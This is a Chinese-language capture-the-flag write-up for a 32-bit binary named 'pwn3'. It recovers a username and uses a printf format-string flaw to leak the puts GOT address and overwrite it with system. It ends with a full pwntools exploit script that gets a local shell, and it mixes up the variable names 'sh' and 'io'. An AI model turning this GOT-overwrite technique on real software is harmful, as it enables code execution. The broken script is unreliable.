1.检查32位文件,ida反编译按F5得到C语言码。main函数如下:
2.ask_username和ask_password分别是输入用户名变更和检测用户名通过。先看username。定义src一个字符数组,往其输入字符,在满足条件范围内对每个字符分别加1(字符的ASCⅡ代码值),用于下面password检测。
3.strcmp比较函数相同则返回一个指针,表示通过,将输入的用户名比较的是'sysbdmin',则要输入rxraclhm即可,进入下一步。
4.接下面有一个get_command函数,输入3个字符,分别为'get','put','dir'则返回1,2,3值,为下面分支准备。(strncmp是比较第一个参数和第二个参数的前第三个参数大小的函数,相同则返回值为0,前面!运算则又表示真,即表明输入与对照相同)
5.put_file()函数输入数据给v0变量,同时作为file_head即头部信息,同时把v0做了个副本给result,而当输入get时,进入get_file()函数,将file_head转换为字符型,和输入的s1比较,相同则将i+0x28位置开始的字符串复制给dest最后返回打印。利用printf函数格式化字符串漏洞,之前先执行过put的gots表地址泄露出来。
6.gdb调试程序,下*0x0804889E地址,输入数据查看偏移量为7,则在第8个参数处发送数据,再进入get_file(),在puts函数前接收数据得到puts_addr。截至利用libc库,得到libc版本。之后把puts_got(偏移量为7)改为system获取system地址,把他作为劫持程序后puts函数的返回地址,(利用show_dir()函数),发送执行'/bin/sh'。
7.回头再执行puts函数,sendline('/bin/sh'),发送一行‘payload = fmtstr_payload(7, {puts_got: sys_addr})’,篡改返回地址,同时赋给头部file'/bin/sh'。再进入get_file()中,也给s1输入'/bin/sh',通过比较相等,最后通过dir执行system('/bin/sh')得到shell。
wp如下:可能会有些许错误,说的会有不对的地方也不很透彻,希望各路大神加以批判指正,本人还是小白一枚~
from pwn import *
from LibcSearcher import*
io = process('./pwn3')
elf = ELF('./pwn3')
#用户名是:rxraclhm
io.recvuntil('Name (ftp.hacker.server:Rainism):')
#此步是关键!!!
io.sendline('rxraclhm')
puts_got = elf.got['puts']
io.sendline('put')
io.recvuntil('please enter the name of the file you want to upload:')
io.sendline('1234')
io.recvuntil('then, enter the content:')
payload1=b'%8$s' + p32(puts_got)
io.sendline(payload1)
#通过get_file中的printf函数格式化字符串漏洞,读出put函数的地址
io.sendline('get')
io.recvuntil('enter the file name you want to get:')
io.sendline('1234')
puts_addr = u32(sh.recv()[0:4])
#get_libc,get_system的地址
libc=LibcSearcher("puts", puts_addr)
libc_base=puts_addr-libc.dump('puts')
sys_addr=libc_base+libc.dump('system')
#把第七个参数的puts_got改成system的地址
payload2 = fmtstr_payload(7, {puts_got: sys_addr})
io.sendline('put')
io.recvuntil('please enter the name of the file you want to upload:')
#show_dir时将puts(“/bin/sh;”)变成system("/bin/sh;"),获取shell
io.sendline('/bin/sh;')
io.recvuntil('then, enter the content:')
io.sendline(payload2)
io.recvuntil('ftp>')
io.sendline('get')
io.recvuntil('enter the file name you want to get:')
io.sendline('/bin/sh;')
#by_show_dir来拿到shell
io.sendline('dir')
io.interactive()